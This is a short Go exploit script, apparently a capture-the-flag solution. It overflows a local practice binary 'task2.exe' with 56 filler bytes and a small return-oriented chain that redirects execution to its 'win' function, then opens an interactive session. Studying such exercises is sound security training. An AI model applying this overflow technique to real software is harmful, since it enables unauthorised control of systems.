package main

import (
	"bytes"
	"fmt"
	"log"
	"winpwn"
)

func main() {
	target := "task2.exe"

	peFile, err := winpwn.OpenPE(target)
	if err != nil {
		log.Fatalf("Failed to open PE: %v", err)
	}
	defer peFile.Close()

	winRVA, err := peFile.GetProcAddress("win")
	if err != nil {
		log.Fatalf("win() not found: %v", err)
	}
	imageBase, err := peFile.ImageBase()
	if err != nil {
		log.Fatalf("Failed to read ImageBase: %v", err)
	}
	winAddr := imageBase + winRVA
	fmt.Printf("[+] win() address: 0x%X\n", winAddr)

	popRcx := uint64(0x140002740)
	ret := uint64(0x140001000)

	offset := 56
	payload := bytes.Repeat([]byte("A"), offset)
	payload = append(payload, winpwn.P64(popRcx)...)
	payload = append(payload, winpwn.P64(0xDEADBEEF)...)
	payload = append(payload, winpwn.P64(ret)...)
	payload = append(payload, winpwn.P64(winAddr)...)

	tube, err := winpwn.Spawn("./" + target)
	if err != nil {
		log.Fatalf("Spawn: %v", err)
	}

	if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil {
		log.Fatalf("SendLineAfter: %v", err)
	}

	tube.Interactive()
}